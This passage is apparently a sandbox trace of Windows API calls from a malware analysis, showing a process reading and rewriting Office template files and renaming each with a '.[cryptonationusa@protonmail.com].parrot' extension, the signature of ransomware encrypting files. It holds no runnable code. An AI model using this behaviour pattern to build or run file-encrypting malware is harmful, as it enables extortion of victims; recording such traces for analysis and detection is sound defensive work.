lpNewFilePointer=0x0) returned 1 [0243.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.640] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.640] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.641] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.642] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17697, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17697, lpOverlapped=0x0) returned 1 [0243.646] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.654] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.654] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.656] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.656] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa8ed, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa8ed, lpOverlapped=0x0) returned 1 [0243.657] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.663] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.664] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.665] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.665] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2aea, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2aea, lpOverlapped=0x0) returned 1 [0243.666] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.673] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.673] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.674] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.674] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44ff, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x44ff, lpOverlapped=0x0) returned 1 [0243.677] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.683] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.684] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.685] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.685] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0243.853] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.853] WriteFile (in: hFile=0x284, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0243.858] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.858] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0243.861] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12f475, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0243.861] CloseHandle (hObject=0x284) returned 1 [0243.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.917] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.917] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.918] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.918] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c5f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c5f8, lpOverlapped=0x0) returned 1 [0244.012] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.027] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.027] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0244.028] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.028] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x138a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x138a6, lpOverlapped=0x0) returned 1 [0244.032] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.083] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.083] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0244.084] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.084] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c1b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c1b0, lpOverlapped=0x0) returned 1 [0244.091] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.104] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.104] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0244.143] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.144] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0244.174] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.174] WriteFile (in: hFile=0x284, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0244.179] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.179] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0244.251] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40d800, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0244.251] CloseHandle (hObject=0x284) returned 1 [0244.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.262] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.262] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0244.264] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.264] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd0fbe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd0fbe, lpOverlapped=0x0) returned 1 [0244.394] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.466] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0244.468] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.468] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ed1d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ed1d, lpOverlapped=0x0) returned 1 [0244.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0244.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0244.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0244.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0244.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0244.470] GetLastError () returned 0x0 [0244.476] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0244.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0244.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0244.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0244.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0244.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0244.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0244.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0244.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0244.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0244.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0244.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0244.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0244.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0244.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0244.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3158048 [0244.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0244.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x315afe0 [0244.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158048 | out: hHeap=0x5b0000) returned 1 [0244.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3350048 [0244.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315afe0 | out: hHeap=0x5b0000) returned 1 [0244.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3356b28 [0244.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0244.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3388108 [0244.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3356b28 | out: hHeap=0x5b0000) returned 1 [0244.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3350048 [0244.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3388108 | out: hHeap=0x5b0000) returned 1 [0244.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3388108 [0244.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0244.481] WriteFile (in: hFile=0x284, lpBuffer=0x3388120*, nNumberOfBytesToWrite=0x1ee38, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3388120*, lpNumberOfBytesWritten=0x18eed4*=0x1ee38, lpOverlapped=0x0) returned 1 [0244.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3388108 | out: hHeap=0x5b0000) returned 1 [0244.486] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ee35, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0244.486] CloseHandle (hObject=0x284) returned 1 [0244.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0244.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22adb58 [0244.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0244.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22adb58 | out: hHeap=0x5b0000) returned 1 [0244.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0244.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 